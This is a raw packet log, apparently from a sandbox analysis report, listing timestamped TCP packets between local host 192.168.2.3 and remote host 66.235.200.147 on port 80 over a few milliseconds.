Nov 24, 2022 16:57:36.666455030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667135000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667155027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667175055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667192936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667211056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667228937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667247057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667251110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667251110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667264938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667284966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667284966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667304993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667310953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667324066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667344093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.667360067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667392015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.667999029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668019056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668037891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668056965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668076038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668090105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668092966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668112040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668121099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668132067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668148041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668149948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668169022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668179989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668188095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668206930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668212891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668225050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668258905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.668932915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668952942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.668992996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669058084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669078112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669095993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669112921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669115067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669146061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669163942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669166088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669183016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669195890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669202089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669220924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669238091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669250011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669258118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669279099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669305086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.669910908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669944048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669966936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.669991016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670001984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670017004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670044899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670047998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670072079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670098066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670099974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670121908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670145988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670154095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670171022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670195103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670196056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670222044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670247078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670741081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670761108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670779943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670797110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670814037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670828104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670831919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670851946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670867920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670902967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670919895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670928955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670928955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670928955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670939922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670958996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670970917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670977116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.670995951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.670998096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.671025038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.671766043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.671797037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.671835899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672101974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672132015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672156096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672159910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672183990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672210932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672214985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672238111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672266006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672271013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672291994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672318935 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672318935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672349930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672374964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672394037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672420025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672449112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672686100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672715902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672744036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672749996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672776937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672804117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672808886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672832966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672861099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672864914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672889948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672916889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672918081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672945976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.672972918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.672975063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673003912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673029900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673031092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673063040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673089027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673197031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673224926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673249960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673253059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673283100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673310041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673310041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673332930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673355103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673368931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673377991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673413038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673527956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673558950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673583984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673585892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673614979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673640966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673640966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673671961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673701048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673701048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673728943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673754930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673757076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673788071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673814058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673819065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673847914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673873901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673875093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673904896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673929930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673930883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673960924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.673989058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.673990011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674020052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674046993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674050093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674072981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674102068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674103022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674130917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674158096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674158096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674189091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674218893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674473047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674504042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674530983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674540997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674587965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674595118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674627066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674654961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674676895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674684048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674714088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674741983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674741983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674772024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674798012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674803972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674833059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674860001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674865007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674907923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674916029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.674948931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.674976110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675004005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675007105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675026894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675050974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675070047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675076008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675107956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675107956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675134897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675162077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675165892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675189972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675218105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675434113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675461054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675496101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675518990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675545931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675570965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675581932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675596952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675622940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675632954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675651073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675676107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675693035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675693989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675729036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675777912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675802946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675828934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675834894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675856113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675883055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675884962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675909042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675935984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675935984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.675962925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675988913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.675992012 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676016092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676042080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676044941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676080942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676101923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676146030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676171064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676194906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676199913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676220894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676244974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676246881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676273108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676297903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676302910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676323891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676351070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676352024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676388025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676403999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676414013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676440954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676466942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676470041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676522017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676740885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676768064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676793098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676817894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676832914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676845074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676870108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676872969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676899910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676925898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676928997 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.676950932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676978111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.676980972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677004099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677030087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677047968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677057028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677082062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677084923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677112103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677136898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677141905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677162886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677186966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677196026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677215099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677252054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677458048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677484989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677511930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677512884 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677537918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677562952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677565098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677589893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677614927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677617073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677642107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677670002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677680016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677706957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677731991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677736044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677756071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677779913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677783966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677804947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677828074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677838087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677853107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677877903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677886963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677901983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677927017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677934885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.677952051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677978039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.677985907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678004026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678028107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678035975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678050995 CET	80	49713	66.235.200.147	192.168.2.3
